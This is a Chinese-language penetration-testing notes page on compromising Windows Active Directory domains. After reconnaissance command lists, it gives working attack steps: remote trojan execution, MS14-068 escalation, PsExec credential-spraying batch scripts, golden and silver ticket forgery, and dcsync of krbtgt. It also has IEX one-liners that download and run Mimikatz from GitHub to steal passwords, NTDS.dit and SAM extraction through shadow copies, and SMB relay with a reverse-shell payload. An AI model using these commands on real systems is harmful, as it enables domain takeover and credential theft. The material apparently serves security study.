windows域安全

TL;DR

  • 域安全笔记

  • 域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。
  • 域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。
  • 一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。
  • Active Directory = LDAP服务器+LDAP应用(Windows域控)
    就是Active Directory先实现一个LDAP服务器,然后自己先用这个LDAP服务器实现了自己的一个具体应用(域控)。

    内网信息搜集以及常见域命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    ipconfig /all	查询本机IP段,所在域等
    net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
    net user 本机用户列表
    net localhroup administrators 本机管理员[通常含有域用户]
    net user /domain 查询域用户
    net user 用户名 /domain 获取指定用户的账户信息
    net group /domain 查询域里面的工作组
    net group 组名 /domain 查询域中的某工作组
    net group "domain admins" /domain 查询域管理员列表
    net group "enterprise admins" /domain 获得企业管理员列表
    net group 组名 /del /domain 删除域中的某组
    net group 组名 组成员名 /del /domain 删除域中的某组的组成员
    net localgroup administrators /domain 登录本机的域管理员
    net group 组名 /add 增加域中的组
    net localgroup administrators workgroup\user001 /add 域用户添加到本机
    net group "domain controllers" /domain 查看域控制器(如果有多台)
    net time /domain 判断主域,主域服务器都做时间服务器
    net session 查看当前会话
    net use \\ip\ipc$ pawword /user:username@domain 建立IPC会话[空连接-***]
    net use z: \\192.168.200.21\文件夹名 建立映射到本机Z盘
    net share 查看SMB指向的路径[即共享]
    at \\192.168.200.2 0:00 c:\windows\muma.exe 在共享主机上执行
    net view 查询同一域内机器列表
    net view /domain 查询域列表
    net view /domain:M0RK 查看test域中计算机列表
    net view \\域控的机器名 查看域控共享情况
    nltest /domain_trusts 获取域信任信息
    net session 查看当前会话
    net start 查看当前运行的服务
    net time /domain 查询主域服务器的时间
    echo %logonserver% 查看登录认证的机器(即域控机器)
    net accounts 查看本地密码策略
    net accounts /domain 查看域密码策略
    query user 查看当前的登录信息
    netsh firewall show config 查看防火墙策略
    netsh firewall show state 查看防火墙策略
    route print 路由表
    tracert IP 路由跟踪
    arp -a 列出本网段内所有活跃的IP地址
    arp -s (ip + mac) 绑定mac和IP
    arp -d (iP + mac) 解绑IP和Mac
    tasklist /V 查看进程[显示对应用户]
    tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表
    tasklist /S IP地址 /U 域名\用户名 /P /V 查看远程计算机进程
    tasklist /svc 查看进程
    taskkill /im 进程名称(cmd.exe) 结束进程
    taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
    qprocess * 类似tasklist
    qprocess /SERVER:IP 远程查看计算机进程列表
    whoami /all 查询当前用户权限等
    set 查看系统环境变量
    systeminfo 查看系统信息
    qwinsta 查看登录情况
    fsutil fsinfo drives 查看所有盘符
    wmic bios 查看bios信息
    wmic qfe 查看补丁信息
    wmic qfe get hotfixid 查看补丁-Patch号,很实用
    wmic share get name,path 查看SMB指向路径
    net view /domain
    net config workstation
    net group "Domain Admins" /domain
    net time /domain
    ipconfig /all
    nslookup xxx
    dsquery server

    查看域控制器
    net group "Domain controllers"

    查询所有计算机名称(windows 2003)

    dsquery computer

    下面这条查询的时候,域控不会列出

    net group "Domain Computers" /domain
  • 查找域控
    1.dsquery server(或者net group “domain controllers” /domain命令)查找到主机名,然后ping一下主机名,得到的ip一般就是域控机器的ip地址了。
    2.使用nslookup命令 _ldap._tcp.dc._msdcs.domainname
    3.nltest /dclist:domainname

    4.cobaltstrike的net dclist直接定位到dc
    或者使用powershell的powerview 获取域当前的信息
    5.adfind、ldifde、adexplorer等工具

  • 常见脚本
    https://pentestlab.blog/2018/05/28/situational-awareness/

    搞定域控

    1.ms14-068 将普通域用户权限提升为域控权限
    https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068
    2.查看哪些主机上存在域管理员的活动会话,找到域管登陆过的机器,进而抓取域管的密码或者哈希。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    ## 批量返回shell
    @echo off

    echo check ip addr config file…

    if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end

    echo read and analysis file…

    for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "PASSWORD" cmd

    :end
    ## 用指定的用户名和密码去遍历ip.txt中的IP列表,并打印任务列表,将结果输出到result.txt当中,执行完了上述批处理,我们只需要稍作等待,最后去查看result.txt当中是否含有域管理员用户名,即可确定哪些主机上存在域管理员的活动会话
    @echo off

    echo check ip addr config file…

    if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end

    echo read and analysis file…

    for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p "PASSWORD" /v) >>d:\result.txt

    :end

    exit

PTH


哈希传递的工具可参考文章 域渗透——Pass The Hash的实现

PTT-silver ticket


  • 注意这里机器的NTLM 是关键,域sid都是一样的

    PTT-golden ticket

  • 域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击。
  • 获取krbtgt账号ntlm命令是Lsadump::dcsync /user:krbtgt

    抓密码或hash

  • 通过powershell抓取某台机器的明文密码或者哈希

    1
    2
    3
    4
    #抓明文
    powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1′); Invoke-Mimikatz –DumpCerts
    #抓哈希
    powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1′);Get-PassHashes
  • dump域数据库

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    vssadmin Create Shadow /for=C:        创建新的卷影副本
    成功地创建了 'C:\' 的卷影副本
    卷影副本 ID: {ad7dfdec-a8db-4fa3-b2e6-7e1ab1bad2b4}
    卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3

    执行程序:
    \\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\test\psexec.exe
    1.需要先创建好目录,并放入木马或程序
    2.再创建新的卷影副本,利用卷影副本卷名来执行程序,并把卷影副本卷名中的 "?" 需要改为 "."号执行程序

    Copy Files
    有些系统运行中的文件是不可复制的,比如像SAM
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM C:\
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\

    PowerShell调用方法:
    Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "C:\temp\SYSTEM"
    Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\NTDS.dit"
    需要文件:
    https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy

    vssadmin Delete Shadows /shadow={ce51aaf6-5677-4423-86ac-45d064ef626e} /quiet 删除卷影副本
    vssadmin Delete Shadows /For=C:

    ---

    reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 查询NTDS路径
    获取域数据库
    Windows\NTDS\ntds.dit
    Windows\System32\config\SYSTEM
    Windows\System32\config\SAM

    NTDSDump导出域数据库hash值:
    NTDSDump.exe -f ntds.dit -s SYSTEM -h -t john -o save.txt
    或者:
    QuarksPwDump.exe
    QuarksPwDump --dump-hash-domain --with-history 导出本机域控历史hash值

更多

域内信息搜集

windows中的Credential Manager的信息获取

  • Credential Manager,中文翻译为凭据管理器,用来存储凭据(例如网站登录和主机远程连接的用户名密码)。
  • 如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录
  • 凭据类别包含两种,分别为Domain Credentials和Generic Credentials。
  • 凭据读取 mimikatz和powershell脚本

    更多可参考Windows中Credential Manager的信息获取

    横向渗透

    横向渗透信息搜集工具

    SMB

    SMB共享枚举

  • SMBMap

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    root@kali:/# smbmap -H [ip] -d [domain] -u [user] -p [password]
    [+] Finding open SMB ports....
    [+] User SMB session establishd on [ip]...
    [+] IP: [ip]:445 Name: [ip]
    Disk Permissions
    ---- -----------
    ADMIN$ NO ACCESS
    C$ NO ACCESS
    IPC$ NO ACCESS
    NETLOGON READ ONLY
    Replication READ ONLY
    SYSVOL READ ONLY
  • 使用nmap

    1
    nmap --script smb-enum-shares -p 139,445 [ip]

查看SMB的漏洞

1
nmap --script smb-vuln* -p 139,445 [ip]

trick4 smbrelay

python smbrelayx.py -h 172.24.243.59(被攻击的机器) -e smb_rev.exe

https://github.com/CoreSecurity/impacket/blob/master/examples/smbrelayx.py
再谈SMB中继攻击